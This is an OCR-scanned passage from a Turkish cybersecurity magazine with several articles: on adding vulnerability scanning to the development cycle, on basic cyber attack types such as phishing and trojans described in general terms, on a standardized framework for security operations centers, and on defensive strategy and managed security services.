planlar. Ornegin binlerce miisteri tarafindan kullanilan ve
cok fazla kisisel veri iceren bir e-ticaret sisteminin ¢ok sik
taranmasi gerekebilir. Ancak, ayri bir érnekte barindirilan
tamamen tanitim amagl bir web sitesi, tahrif edilmediginden
ve / veya devralinmadigindan emin olmak icin yalnizca haftalik
taramalar gerektirebilir.

7. Adim: SDLC'ye ekleyin

Zamanlanmis taramalarin birincil amaci, glivenlik agiklarinin,
ornegin tglincl taraf yazilimlarda bulunan sorunlar nedeniyle
ortaya ¢ikmamasini saglamaktir. Zamanlanmis taramalar
ayrica kendi uygulamalariniz i¢in son savunma hatti gorevi
gorir. Bununla birlikte, guivenlik agiklarina karsi ilk savunma
hattiniz, kod Uretime ge¢cmeden cok 6nce baslamalidir.
Guvenlik sorunlarini miimkin olan en erken zamanda ortadan
kaldirmak igin, onu kod havuzuna yerlestiren her kod pargasinin
derlendiginden ve guvenlik aciklarina karsi tarandigindan
emin olmalisiniz. Bir taahhdit, glivenli gériilmedigi sirece onu
bir 6zellik dalindan asla ¢ikarmamalidir.

Bunu basarmanin en iyi yolu, glvenlik tarayicinizi sirekli
entegrasyon (otomasyon) ¢éziimiinilzle entegre etmektir.
Muhtemelen, gelistiriciniz depoya herhangi bir sey yiklediginde,
surekli bir entegrasyon stireci tetiklenir. Bu stire¢, hata olmadigin-
dan ve genellikle otomatik testler olmadigindan emin olmak
icin uygulamanin derlenmesini igerir. Bu asama ayrica bir
glivenlik agig1 taramasi da icermelidir. Ve 6zellik dali derlenmezse
birlestirilemeyecegi gibi, tarayici kritik giivenlik agiklari
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-> Dosya Konusu

Siber Guivenlik ve Saldiri Yontemleri

K
L Tugay Késekahya

Glinimizde kigisel ve kurumsal anlamada vazgecilmez bir
unsur haline gelen bilgisayarlarin ilk dnce haberlesme,sifreleme
ve sifre c6zme amagli olarak gelistirildigi daha sonra ise kullaniminin
giderek arttigi bilinmektedir. Internet ise 19601 yillarda ABD
savunma bakanhgi tarafindan olasi bir savas durumunda askeri
iletisimin zarar gormeden kullanilmaya devam etmesi icin
bilgisayarlardaki verilerin baska bilgisayarlara aktarabilmesi amaciyla
kurulan ARPANET ile ortaya gikmistir. Internet milyarlarca cihaz
ile milyonlarca agin birbirine baglandigl aglarin ag1 olarak
nitelendirilmektedir ve belirli protokoller ¢ercevesinde bilgi
alisverisi yapilmasina imkan saglamaktadir. Internetin haberlesmeyi,
bilgi aligverisini ve ayrica bilgisayar kullanicilan arasinda baglantiy
saglamas! nedeniyle tim diinyada kullanimi hizla yayginlagmistir.
Bilisim teknolojilerinin hizli gelisimi sayesinde artan Internet
kullanimi; kamuda, 6zel sektorde ve hatta kisisel dlgekte hayatin
vazgecilmez bir unsuru haline gelmistir.

Bilisim ve internetin diinyada bir anda yayginlagsmasi kullanicilara
bir yandan sinirsiz 6zguirlik tanirken, 6biir yandan da olusan guivenlik
aciklari sebebiyle bilisim sistemlerinin kotlye kullaniimasina ve
bu anlamda bir sug isleme mekanizmasi haline gelmesine sebep
olmaktadir.

SIBER GUVENLIK

Siber, bilgisayar ve aglarini iceren kavram ya da varliklari tanimlamak
icin kullanilir. Siber alan (cyber space) kelimesi de birbiriyle baglantil
system, yazilim, donanim ve insanlarin iletisim ve/veya etkilesimde
bulunduklari soyut veya somut alani tarif etmek icin kullanil-
maktadir. Siber Saldiri ise “hedef secilen sahis, sirket, kurum,
orgut ve devlet gibi yapilarin bilgi ve iletim sistemlerine ve kritik
altyapilarina yapilan planl ve koordineli saldirlar” seklinde
tanimlanmuistir. ilk olarak 1990'li yillarda bilgisayar miihendisleri
tarafindan, aga bagl bilgisayarlarla ilgili givenlik sorunlarini
ifade etmek icin siber glivenlik terimi kullaniimistir ve daha ¢ok
bilisim sistemlerinin temel malzemesi olan bilgi Gzerinden bu
tanim yapilmaktadir. Buna gore siber alemin giivenli olabilmesi
icin bilgi glvenligi ydnetim sistemi standardinda oldugu gibi
bilginin gizliliginin (confidentiality), butlnlGglnin (intergrity) ve
erigilebilirliginin (availability) saglanmasi gerekmektedir. Bilginin
sadece erisim yetkisi verilen kisiler tarafindan kullanilmasi onun
gizliligidir. Bu erisim yazili bir bilginin okunmasi yada biligsim
sistemlerinde saklanan bilginin sadece yetkili kisilerce goriintilene-
bilmesi gibi erisimlerdir. Hassas bilgilerin varligindan bile sadece
yetkililer haberdar olmalidir. Bilginin butinligi ise o bilginin
degistirilmemis, kismen yada tamaminin silinmemis olmasidir.
Erisilebilirlik, saklanan bilginin gerektiginde yetkisi olan kisiler
tarafindan erisilebilir olmasidir.Siber tehditler artik sadece bilgisayar
sistemlerine verdikleri zararlar (sistemlere sizma, sistemlerden
bilgi calma ve sistemlere asilsiz bilgi koyma) ile sinirl kalmamaktadir.
Bir Glkenin kritik olarak kabul edilebilecek haberlesme sistem-
lerine, bilgisayar sistemlerine, enerji ve ulasim aglarina, askeri
komuta ve kontrol sistemlerine zarar verecek 6l¢lide,asimetrik bir
harp cesidi olarak ortaya cikmaktadir.

Dijital pazarlama ajansi We Are Social ve Hootsuite isbirligi
ile hazirlanan “Digital in 2017 Global Overview" raporuna
gore diinya genelinde 3.77 milyari bulan global internet kullanici
sayisl %50'lik bir penetrasyona esittir. Turkiye'de ise yaklasik
80 Milyon niifusun 48 milyonu internet kullanmaktadir. Turkiye'nin
2008 yilinda 6 milyon internet kullanicisinin oldugu bilinmekte
olup bu sayinin yaklasik 10 yilda 8 kat arttig1 gorilmektedir. Yakin
gelecekte bu sayinin daha da artacagl tahmin edilmektedir.
Nesnelerin Internet'i (Internet of Things, 10T) kavrami ile internete
baglanan cihaz sayisinin da ¢ok daha artmasi ve bu cihazlarin
insanlarin hayatina dahil olmasiyla gtvenlik ihlallerine maruz
kalma riskinin de ayni dogrultuda artacag diistinilmektedir. Bu
sebeple glvenlik dnlemlerinin alinmasi ve bu alana daha fazla
yatirim yapilmasi gerekmektedir.

Siber tehditlerin 6niimiizdeki yillarda da énemli tehditlerden
biri olacagi dustincesi; tim diinya tarafindan kabul edilmeye baslan-
mistir. Bu sebeple daha etkin savunma sistemlerinin inga edilmesi,
acil durum hazirliklarinin olusturulmasi cok énemlidir. Saldirilarin,
gerceklestigi anda hemen tespit edilmesi, sanal ya da fiziksel
bariyer inga edilmesi, bolgesel ve ulusal anlamda siber giivenlik
politikalarinin geligtirilmesi zorunlu hale gelmistir . Ayrica siber
glvenlik ile ilgili farkindalik olusturmak ¢ok dnemlidir. Son
zamanlarda yeni ortaya ¢ikmaya baslayan “Siber Guvenlik Durumsal
Farkindalk” ile ilgili caligmalar bu ihtiyaca hitap etmekte ve
calismalarda artig olmasi beklenmektedir . Ulkeler, giivenli bir siber
ortam saglayabilme yolunda, siber ortamin parcasi olan bilesenleri
siber saldirilara karsi korumak, yapilan saldirilara midahale
etmek, saldiranlari cezalandirmak, gerekli yasal mevzuati olusturmak
ve butln faaliyetleri yerine getirecek yapilari tesis etmek lizere
siber ortama yonelik politika ve stratejiler gelistirmis ve gelistirmeye
devam etmektedir.NATO Liderleri 2016 yilinda yaptiklar Varsova
Zirvesi'nde siber savunmaya kaynak saglamaya 6ncelik verdiklerini
vurgulayarak 2015 yilinda aylik yaklasik 500 saldiri olay ile
karsilagirken bu sayinin 2016 yilinda %60 oraninda arttigina dikkat
¢ekip, durumun ciddiyetini ortaya koymuslardir [16]. NATO
tyesi Ulkelerden birisinin kritik altyapilarina karsi gerceklestiri-
lecek bir siber saldirinin diger ulkeleri de ilgilendiren sonuglari
olabilecegi, bu nedenle Uye Ulkelerin siber savunma imkan ve
kabiliyetlerinin artinlmasinin nemi de vurgulanmaktadir . GlinimUizde
teknoloji cok gelismis olmasina ragmen bir saldirinin ne zaman
yapllabilecegini tahmin etmek mimkiin degildir. Il.Dlinya Savas!
yillarinda bir fiizenin filatiimasi icin 20 dakika gibi bir stire kullanilirken
glinimizde siber saldirilar i1sik hizinda gerceklesmektedir. Bu
nedenle siber saldirilara aninda karsilik vermek gerekmektedir.
Siber guvenlik tatbikatlar sistemlerin acikliklarinin ortaya cikarip
gereken tedbirlerin alinmasini saglamak acisindan oldukca dnemlidir.
Turkiye'de yapilan tatbikatlarin diger tlkelerde yapilanlardan farki
ise gercek saldiri ve savunma tekniklerinin kullanilmasidir.Boylece
siber guivenlik konusunu teoriden pratige tasima ve gercek durumu
ortaya koymak daha mimkin olmaktadir.
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SIBER SALDIRI YONTEMLERI

Siber tehditlerin ortaya ¢lkmasina neden olan li¢ boyut bulunmaktadir.
internet tasarimindaki zafiyetler (adresleme sistemi,ydnetim eksikligi,
internetin caligsmasini saglayan sistemlerin ¢cogunun acik ve
sifresiz olmasi, zararll yazilimlar dagitma kabiliyeti ve internetin
merkezi olmayan buyuk bir ag olmasi) Donanim ile yazilimlardaki

hatalar Kritik sistemlere cevrim igi erisim imkani Siber saldirilar

cok cesitli yontemlerle yapilmaktadir. Belli bash siber saldiri
yontemleri ise soyledir.

- Bilgi ve veri aldatmacasi (Data Diddling):

Bilgisayara veri girilirken yanhs girilmesi, verileri saklarken &zel
yontemlerle degistiriimesi ya da bazi kayitlarin silinmesi bu
yontemle yapilabilir.

+ Salam teknigi (Salami Techniques):

Genellikle bankacilik sektdriinde kullanilir. Hesaplardaki virgllden
sonraki kusuratlarin son rakam veya son iki rakam tutari bagka
bir hesaba aktarilarak orada biriktirilmektedir.

- Siper darbe (Super Zapping):

Bilgisayar sistemlerindeki arizalar ile sistemin kilitlenmesi durumunda

guvenlik kontrollerinin asilarak sistemin dizeltilmesi icin gelistir-
ilmis programlardir. Bu durum kéttiye kullanildiginda gavenlik
devre disi birakilmaktadir.

« Truva ati (Casus Yazilimlar):

Bilgisayar korsanlari truva atlari sayesinde sisteme arka kapidan
ulasarak, bilgisayarin sistem yapisini degistirebilir ayrica kullanicinin
sifrelerine ve diger kisisel bilgilerine ulasabilirler. Truva ati sisteme
bulastiktan sonra, sistemin agilmasiyla beraber kendisini hafizaya
yikler ve sistem agiklarini kullanarak, programi yerlestiren bilgisayar
korsaninin istediklerini yapmasini saglar.

- Zararh yazilimlar (Kéttictl Yazilimlar):
Virls gibi belli bir amaca yonelik olarak hazirlanmig kod parcalaridir.
- Mantik bombalari (Logic Bombs):

Bir programin igerisine istenen zararli bir kod parcasinin
yerlestirilmesidir. Mantik bombasi genellikle hedef alinan bilgisayar
veya aglardaki bilgileri tamamen yok etmek veya bir daha kullanilamaz
hale getirmek icin kullantlir.

- Oltalama (Phishing):
Genellikle sahte web siteleri kullaniimaktadir. Ornegin bir banka
yada alis veris sitesinden kendisine e-posta geldigini dislinen

son kullanici; kredi karti bilgilerini bu web sayfasina girerek
yada sadece e-postay! yanitlayarak bu tuzaga disebilmektedir.

« Bukalemun (Chamelon):

Normal bir program gibi calisirir fakat arka planda bir takim
hile ve aldatmalar ile cok kullanicili sistemlerde kullanicr adlari ve
sifrelerini taklitm ederek gizli bir dosya icerisine kaydedip,
sistemin bakimi icin geici bir stire kapatilacagina iliskin bir (YerTutucu)
uyari verir. Bu sirada bukalemun programini kullanan kisi, bu gizli
dosyaya ulasarak kullanici adlarini ve sifrelerini ele gegirir.

« Istem disi alinan elektronik postalar (Spam):

Tartisma platformlarindan dagitilan listelerden ve web sayfalarindan
elde edilen elektronik adreslere alicinin haberi olmaksizin arasira
buyik hacimlerde gonderilen ve ticari amag taslyan e-postalar
olarak tanimlamaktadir.

« Cope dalma (Scavenging):

Sistem belleginde bulunan ve artik ihtiya¢ duyulmayan silinmis
bilgilerin gelismis ydntemlerle tekrar geri getirilmesidir.

- Yerine ge¢me (Masquerading):

Sistemde yapilacak hileler ile erigsim imkani kisitl ya da yetkisi hig
olmayan kullanicilarin, erisime yetkisi olan baska kullanicilarin bilgi
ve yetkilerini kullanarak sisteme erigim saglamasidir.

« Sistem gtivenliginin kirilip iceri sizilmasi (Hacking):

Hack kelimesi hacker topluluklarinda kullanilan anlamiyla “teknolajinin
orijinal, alisilmisin disinda ve 6zgiin bir tarzda kullanilmasi” anlamina
gelmektedir. Ayirt edici 6zelligi ise sadelik, ustalik ve yasa digi olusudur.

 Hukuka aykiri icerik sunulmasi:

Ozellikle web sitelerine reklam amacli ya da hukuka aykiri ieriklerin
eklenmesidir.

+ Web sayfasi hirsizligl ve yonlendirme:

Web sitelerinin calinarak kullanamaz hale gelmesi, web sitelerinde
farkli icerikler sunulmasi, sayfa girisinde ya da iceriginde baska
sayfalara yonlendirilerek veri girisine zorlanilmasidir.

« Sosyal miihendislik:

Yalan séyleme ve kars! tarafi ikna etme Gizerine kurulan bir bilgi

toplama sanatidir. Burada kisilerin gliveni kazanilarak kendilerine
glivenmelerinin saglanmasi amaclanmaktadir.
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-> Dosya Konusu

Guvenli Islemleri
Merkezi (

) icin
Standartlagtiriimis
Cerceve

N,

£ Dr. Muhammad Hasan Islam

Mevcut SOC kurulumlari, temel olarak SOC icinde belirli
glvenlik teknolojilerini tasarlamaya, kurmaya ve calistirmaya
odaklanmistir. Bu yaklagimlar standart bir yaklasim izlemez
ve kritik tasarim hususlarini, operasyonel hususlari ve SOC'in
etkinligini ve verimliligini o6lgme araclarini goézden kagirir.
Dahasi, saticilar arasinda bile yaklasimlar farklilik gdstermek-
te ve bu hem BT altyapisinda hem de SOC'de 6l¢eklenebilirlik
ve hatta yeni bir SOC platformuna gegis bile bir kabusa
donistirmektedir. Hemen hemen her sektérde giderek daha
fazla sirketin CoBIT, PCI-DSS, ITIL ve ISO/IEC 27002:2013 gibi
farkli standartlari benimsedigi, SOC muhendislerinin ise SOC
cercevesini tasarlarken bunlari genellikle 6nemsemedigi
g6zlemlenmistir. Sonug olarak, SOC kullanan sirketler gercek
yatirim getirisi (ROI) almazlar, SOC'in tutarsiz davranislariyla
karsi karsiya kalirlar ve SOC kurallarini mevcut ana hat stand-
artlariyla uyumlu hale getirmekte cok fazla caba harcarlar. Bu
sahte guvenlik duygusu, bir organizasyonun nereye maruz
kaldigini bilmekten daha tehlikelidir. Tutarliligl saglamak,
Yonetisim, Risk ve Uyum (GRC) politikalarinin uygulanmasi ve
bunlarin etkinligini izlemek ve 6lgmek icin, standart metodo-
lojiler etrafinda kurulmus bir SOC cercevesi 6nem tasimak-
tadir.
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SOC Islevsel Gereksinimleri Bu gereksinimler, bir SOC'i basarili bir
sekilde calistirmak igin gereken her yoni igermektedir. SOC
donaniminin ve ekibin bulunacag! Fiziksel Ortami, SOC'i calistir-
mak icin bir ekip olusturacak olan Kisileri (olaya midahale
ekibinin birinci diizey miidahalecisini bile icerebilir), Stireg, SOC'yi
calistirmak icin gerekenleri ve Sirecler, musterilere hizmet verir
ve son olarak da Teknoloji, donanim, yazillm ve destekleyici
bilesenleri icerir. Genel iglevsel gereksinimler sunlardir:

Olay GUnligu toplama, genellestirme ve saklama

Dahili kullanim senaryolarinin incelenmesi, yeni kullanim
senaryolarinin gelistiriimesi ve iyilestirilmesi

Gercek zamanli izleme ve tehdit analizi

Olay yonetimi, miidahale ve kapsanim

Farkli teknoloji katmanlari icin gésterge panolarinin
gelistiriimesi

Raporlarin gelistirilmesi, bicimlendirilmesi ve bunlarin
sirkllasyonu

Mevcut savunma mekanizmasinin iyilestiriimesine iligkin
tavsiyeler

+ Tehdit istihbarati hakkinda rehberlik

« Adli Biligsim islevselligi

« Zafiyet Yonetimi

K&t amagl yazilim yonetimi

« Uyumluluk ve degisiklik yonetimi

« Ag ve givenlik cihazi yonetim

Listeleme sirasinda uygulama

« Olay yonetimi ve mudahale gibi ilgili yonlerin glvenlik
egitimi

« Bilgi Glvenligi - 1ISO-27001 & 27002, NIST, OWASP, SANS
kontrolleri

* Risk Yonetimi - 1ISO-27005, ISO-31000, ISO-31010

« Tehdit Siniflandirmasi — MITRE

BT Yonetisimi, Denetim, — CoBIT

« Bankacilik Uyumlulugu — PCI-DSS

« Operasyonel Surecler — ITIL, ISO -9000

« Olay Yonetimi ve Mudahale

« Zafiyet Yonetimi — OSTIMM
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NIST Sekil 1, her seyi kapsayan konsepti agiklar. SOC mihendisi ile
baglamak, uygulanan standartlari ve belirli organizasyonel politika-
lari tam olarak anlayacak ve SOC'in fonksiyonel, hizmet ve is
gereksinimlerini belirleyecektir. Eger bir kurulus herhangi bir
standard izlemiyorsa, SOC mihendislerinin, politikalarini ve
streclerini iyi bilinen bazi standartlarla uyumlu hale getirmeleri igin
onlara rehberlik etmesi de onerilir. Cerceve gelistirilirken asagidaki
standartlar takip edilebilir. SOC igin Standart Cergeve Dr.
Muhammed Hasan Islam Subat 2022 / 52 SOC Hizmet Gereksinim-
leri Bunlar, SOC'in sunacag! hizmetlerdir, islevsel gereksinimlerin
daha ayrintili ancak pratik bir uygulamasidir. Onerilen gereksinimler
sunlardir:

» SOC'dan olugan BT ekipmaninin durum izlemesi

» SOC'e glinliik gonderen tiim cihazlarin durum izlemesi

- Glvenlik izleme, olay ve vaka siniflandirmasi

« Vakalarin dogrulanmasi ve siniflandiriimasi

* Vaka tanimlama, artirma, ¢6ziim, kapatma ve raporlama

- Surekli risk, tehdit ve zafiyet arastirmasi ve analizi

« Glincelleme yama analizi, secimi ve dogrulamasi

* Guvenlik sistemleri ve yazilmlarinin ydnetimi (Guvenlik Duvari,
IDS, Anti-virls, cihaz kontrolleri vb.)

« Adli bilisim ve k&t amacl yazilim analizi

» Uyumluluk ve politika ihlali

« Onleyici bakim SOC Operasyonel Gereksinimler Temel olarak
stratejik ve taktiksel planlamayi kapsar.

Onemli hususlar sunlardir:

« Organizasyonel departmanlar, SOC'in saglayabilecegi yetenekler
ve hizmetler hakkinda bilgilendirilmelidir.

« SOC ekipleri, SOC ve gelisen guvenlik teknolojilerindeki yeni
yeteneklerden haberdar olmalidir.

« SOC ekibi, kurulusta takip edilen sureci farkli gtivenlik standart-
larina gore uyumlu hale getirmelidir.

« SOC'in kapsami, yol haritasi ve uygun butgesi Snimuzdeki en az
bes yil icin onaylanmalidir.

« IK planlamak icin énemlidir.

« Surekli olarak kurulusa saglayabilecegi yeni kullanim senaryolari
ve hizmetleri olusturmalidir.

« SOC'in kendine ait saglik ve performans parametrelerini izleme
mekanizmasl.

« SOC, operasyon ve hizmetlerin strekliligini uygulamak igin
gereken dnlemleri dikkate almalidir.

« Etkili kaynak planlamasi ve bunlarin egitimi

* SOC, sistemde meydana gelen herhangi bir sorunun dncelikli
olarak ¢ozllmesi icin orijinal Grln Ureticisi ile kurulmus bir
baglantiya sahip olmalidir.

« SOC igin etkili degisim yonetimi slreci yurirlikte olmahdir.

SOC Calisanlarinin islevi Bir SOC'i basarili bir sekilde yiiritmek icin
dogru becerilere sahip dogru kisilerin ise alinmasi kritik 5nem
tagimaktadir. Ornegin iyi iletisim ve yazma becerileri, problem
¢6zme ve analitik yetenek gibi kisilik 6zelliklerine ek olarak, kisi iyi
bir ekip Uyesi olabilmek icin asagidaki teknik becerilere sahip
olmalidir:

« Bunlar (gizlilik , battnlik, kullanilabilirlik ret edilemezlik ve
mahremiyet) icin uygulanacak givenlik ilkeleri ve kontrollerine
hakim olma ve bunlari kavrama

« Internet mimarisi ve protokolleri

* LAN teknolojileri ve protokolleri

- Zafiyet yonetimi

» Programlama becerileri

» K&t amagh yazihm bilgisi ve analizi

« Olay yaniti ve yonetimi

* En az bir igletim sistemine hakimiyet

» Uygulama gelistirme proseddirleri

« NMS ve performans izleme

« Tehdit analizi

« Standartlari anlama ve aynisini uygulama becerisi

Sonug Bir kurulusta halihazirda olusturulmus standartlardan
dogrudan Uretilmis cerceveyi kullanmak, bir kurulus tarafindan
yapilan yatirimin kesinlikle hizli bir sekilde geri kazaniimasini
saglayacaktir. Ayrica, SOC ekibinin 6grenme egrisini azaltacak ve
SOC tarafindan sunulan hizmetin, bir kurulusun farkli departman-
larinca daha iyi anlagilmasini ve anlatiimasini saglayacaktir.
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-> Dosya Konusu

Siber Guvenlik

Savunma Sanatl

N,

Z_ ibrahim Can Sénmez

Yaklasik 2.500 yil 6nce yazildigi tahmin edilen,
Sun Tzu'ya ait "Savas Sanati” kitabi, taktik ve
stratejik savaslar konusunda verdigi bilgiler
ile sadece askeri alan ile sinirli kalmamigtir.
GUnlmuzde finans, isletme, satis-pazarla-
ma ve ticari alanlardaki bircok karar verici
tarafindan da siklikla alinti yapilan bu eser,
onemli bir yapit olarak tarihte yerini almistir.
Unutulmamalidir ki, 2.500 sene 6nce savas
alanlarinda ok, mizrak ve kilig ile kazanilan
zaferlere isik tutan bu eseri, glinimuzdeki
siber savaslara ve saldirilara uyarlamak ve
boylelikle taktik ile strateji temelli basarili
sonuglar almak mimkuin olsa da, tek bagvuru
noktasi olarak artik yeterli olmayacagi
asikardir.

Glnumuzde, siber saldirilarin lokasyon ve
zamandan bagimsiz sekilde gerceklesiyor
olmasli, savunma temelinde bir¢ok kurum
acisindan son derece riskli bir durumu ortaya
koymaktadir. Saldiri yizeylerinin her gecen
gun geniglemesi, kurumlarin sadece guvenlik
¢ozlmlerine yatirim yaparak cozebildikleri
bir sorun olmaktan ¢ikmaktadir.

Saldiran ve savunan disinda artik farkli
paydaslarin da yer aldigi siber diinyada, etkinin
sadece uygulamalar ve donanimlar ile sinirli
kalmadigi asikardir. Saldirisinda basari elde
eden saldirgan(lar), ticari kazang ve repiitasyon
elde ederken, savunma noktasinda basaril
olamamis kurumlar ise hem ticari acidan
zarar gdrmekte hem de bilinirlikleri sebebiyle
onemli bir itibar kaybina ugramaktadirlar.
Bu noktada, ilgili kurumdan hizmet almakta
olan ya da bir sekilde veri paylasiminda
bulunmus paydaslar ise bu saldirdan etkilenen
bireyler olarak siber diinyada yerlerini almak-
tadirlar. Stratejilerini dogru belirleyememis
kurumlar, bu saldirilardan ne zaman etkile-
neceklerini beklerken, 360 derece givenlik
anlayisini benimseyen ve glvenlik Grtinlerinden
ziyade glivenlik metodolojilerini kurum geneline
oturtmaya caligan organizasyonlar, sahip olduklari
varliklari koruma noktasinda proaktif ¢cézimler
olusturmaktadir.

111111177

Siber guvenlik zincirinin en édnemli halkasi
olan insan faktoriinuin farkindalik seviyesinin
suirekli olarak gelistirilmesi, alinmasi gereken
ilk aksiyonlardan biri olarak halen dnemini
korumaktadir. Farkindalig1 yiiksek calisanlara
sahip kurumlarin siber saldirilardan daha
az etkilendigi ve siber olaylara daha hizli
yanit verebildigi bircok arastirma ile ortaya
konmustur.

Sosyal muhendislik saldirilari ve hedefli
saldirilar ile kurum caliganlari sadece kuruma
ait sistemler Uzerinden degil, ayni zamanda
kisisel hesaplari ve hatta aile bireyleri
Uzerinden de saldiri denemelerine maruz
kalabilmektedirler. Bircok oltalama saldiris
genis bir kitle Gzerinden icra edilebilirken,
hedef odakli saldinlar da vuku bulabilmektedir.

Guincel saldirilar ve yontemleri hakkinda
calisanlarin sirekli olarak bilgilendirildigi
ve sistematik bir sekilde teste tabi tutularak
dikkat ve farkindaliklarinin 6l¢tildtgi organi-
zasyonlarin, olasi saldirilari bertaraf etme
potansiyeli cok daha ylksek olacaktir.
Sadece siber giivenlik ile sinirli kalmayacak
sekilde, bilgi glivenligi bakis agisi ile de
tehditleri anlayan calisanlar, kurumlar
agisindan olas! saldirilardaki ilk savun-
ma hattini olusturacaklardir.

Farkindaligin artinlmasi, gtivenlik Griinlerinin
dogru sekillerde konumlandiriimasi, yonetilen
glvenlik hizmetleri, testler ve denetimler
ile desteklenen guvenlik anlayisinda, tek
bir yone bakmak artik imkénsiz. Her aginin
ayn bir dSneme sahip oldugu bu diinyada
glvende kalmanizi dilerim.
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1928 yilinda, tatile ctkmadan 6nce glines
gormeyen bir alana yerlestirdigi kiltirlerin
antiseptik ozellikleri Gizerine calismalar yapmayi
planlayan Dr. Alexander Fleming, tatil dontsu
beklemedigi bir durumun ortaya ¢lkmasi sonucu
Penisilin'i kesfetmis ve 1945 yilinda, Oxford'lu
Florey ve Chain ile birlikte Nobel odilini
kazanmustir. Bu kesif antibiyotik cagini baslatmis
ve o glinden bu yana bircok hastalik tedavi
edilebilir hale gelmistir.

Ne yazik ki, siber gtivenlik s6z konusu oldugunda
bu kadar sansl olamayabiliyoruz. Glinimuizde,
savunma hatti kurgulanirken, stirekli gelisen

guivenlik teknolojileri icerisinden bircok donanim
ya da yazilim segilebilmektedir. Anti-virlis program-
lari, EDR yazilimlari, glivenlik duvarlari, e-posta
guvenlik gegitleri, SIEM, NAC ve daha sayilabilecek
bircok glivenlik ¢6zUmU kurumlar tarafindan
kullanirken, bu Granlerin konfigtirasyonlarinda
ya da konumlandirmalarinda yapilabilecek
hatalar, ne yazik ki kurumun saldirilar karsisinda
daha zayif hale gelmesine ya da yasanan bir
vakanin tespiti veya analizi noktasinda eksik

kalinmasina yol acabilmektedir.

Ornegin, glivenlik duvari {izerinde test amacli
acllmis bir port unutularak bir saldiri icin
giris noktas! haline gelebilmektedir. Birgok kurumda
karsilasilan bu tarz senaryolar, arka planda kurgu-
lanmis bircok giivenlik yatirimini da etkisiz hale
getirecek ve kurum agisindan son derece negatif
sonuglara sebep olacaktir. Peki bu ve benzeri
senaryolan ortadan kaldirp, glivenlik yatirimlarin-
dan maksimum faydayt saglayabilmek mtimkdin mi?

Gerekli kontrollerin, kontrol listelerinin tanimlan-
masi ve diizenli olarak denetimden gecirilmesi,
yapilan islemlerin onay ve kayit altina alinmasi,
dogru mimari ve konumlandirma igin en iyi

uygulamalarin tercih edilmesi, yapilan degisiklikler
sonras| glvenlik testlerinin icra edilmesi, dogru
ve yeterli Grtnlerin tercih edilmesi gibi bircok
yontem ile bu sorunun cevabini “Evet” olarak
vermek mimkun. Bununla birlikte stirecin kolay
olmadigini ve uzmanligin yani sira tecriibenin
ve gerekli noktalarda alinacak danigsmanlgin
da ihtiyag oldugunun altini cizmek gerekmektedir.

Yizyillar 6nce, Delphi'deki Apollon Tapinagi'nin
girisinde, altin harflerle “Nosce Te lpsum”
yani “Kendini Bil!" yazmakta idi. O dénemlerde
yasamis insanlar icin kendini tanimak, sinirlarini
0grenmek, gelismesi gereken yonleri ortaya
koyabilmek ve bu sayede gelisebilmek adina
bu s6ziin igerigi son derece dnemliydi. Sahip
olduklar potansiyeli anlayabilmek ve bu
potansiyeli gelistirebilmek, ilk caglardan beri
insanoglunun 6nem verdigi konular arasinda
olmustur.

Siber glivenlik s6z konusu oldugunda da bu
onemli bakis acisini uygulamak oldukca
faydalidir. Oncelikle, sahip olunan ag icerisindeki
uygulamalar, servisler, sunulan ve sunulmasi
planlanan hizmetler, lokasyonlar ve daha birgok
parametre ele alinmali ve envanter dogru
bir sekilde tutulmalidir. Yonetilen ag ve servisler
blytdikge, yatinm butcesi, teknoloji bagimlilig
ve insan kaynagi gereksinimleri dogru orantili
bir sekilde artacaktir.

Kurumlarin, siber glivenlik uzayinda yer alan
her konu basliginda uzmanhga sahip olmasi
ise her zaman mimkiin olamamaktadir. Hem
dogru yatirimlarin yapilmasi hem de uzman
insan kaynaginin bulunarak dogru ve efektif
bir organizasyon yapisinin kurulmasi zor bir
slirectir. Bu tarz durumlarda, kurumlarin hizlica
aksiyon alabilmeleri igin yénetilen giivenlik
hizmetleri baslgi altinda hem risklerini transfer
etmeleri hem de maliyet avantaji yakalayarak
bilgi ve tecriibe transferi gerceklestirmeleri
mimkin olabilmektedir.

Kurumlarin, siber glivenlik uzayinda yer alan
her konu basliginda uzmanhga sahip olmasi
ise her zaman mumkiin olamamaktadir. Hem
dogru yatirimlarin yapilmasi hem de uzman
insan kaynaginin bulunarak dogru ve efektif
bir organizasyon yapisinin kurulmasi zor bir
strectir. Bu tarz durumlarda, kurumlarin hizlica
aksiyon alabilmeleri icin yénetilen giivenlik
hizmetleri basligi altinda hem risklerini transfer
etmeleri hem de maliyet avantaji yakalayarak
bilgi ve tecriibe transferi gerceklestirmeleri
muimkin olabilmektedir.

Yonetilen guvenlik hizmetleri bircok bashgl
icerisine alan genis bir Grlin ve servis/hizmet
kavramini isaret ederken, icerisinde gtivenlik
operasyon merkezi (SOC), ag operasyon merkezi
(NOCQ), siber istihbarat merkezi (CIC), ag ve
glvenlik cihazlari (IDS, IPS, guivenlik gegitleri,
vs.) yonetimi/hizmeti, aldatma (deception)
sistemleri/teknolojileri, guivenlik taramalari
hizmeti gibi farkli ve birbirinden bagimsiz
basliklar icerebilmektedir. Bu hizmetler merkezi
olarak sunuldugu igin maliyet avantaji saglamakta
ve uzmanlik noktasinda farkli yapilari ve
teknolojileri deneyimlemis tecriibeli ve yeterli
sayidaki insan kaynagi sayesinde servis pencer-
esine gore (5x8, 7x24, vs.) kaliteli ve sirekli
hizmet alinabilmektedir.

Savunma hatti kurgulanirken ve gelistirilirken
glvenilir ve yetkin bir paydas ile ¢aligmak
kurumlar igin de poxzitif bir deneyim saglamaktadir.

Dogru bir Urln tercihi yaparak baslanan
surrecte, guivenlik Griininden maksimum fayday
saglamak yine giivenlik ekibinin sorumlulugundadir.
Bircok kurum, sadece bir SIEM Urlintine sahip
olarak glivende olduklarini ve saldiri aninda
haberdar olabileceklerini ve yanit verebileceklerini
dustinmektedir. Ne yazik ki, dogru log kaynak-
larindan yeterli veri toplanmadikga, gerekli kural
ve korelasyonlar kuruma o6zel bir sekilde
yazilmadikga ve olusan alarmlar incelenip false
positive aynmi yapilarak eskalasyon saglanmadikca
sahip oldugunuz trtiniin potansiyelini kullan-
mamis olursunuz. Bu da zaten dusuk butcelere
sahip kurumlar agisindan son derece buyiik
bir kayip olmaktadir.

Farkindalgr yiiksek calisanlara sahip kurumlar,
sahip olduklar yatinm butgelerini gerekli gtivenlik
Urlinlerine aktararak ve bu urinlerin potansi-
yellerini maksimuma ¢ikaracak dogru
konfiglrasyonlar ile basarili bir savunma hatti
icin gereken ilk temelleri saglamis olacaklardir.
Aksi takdirde, yatirim butcelerini bosa harcayan
ve yatirnm yapmalarina ragmen saldirlya neden
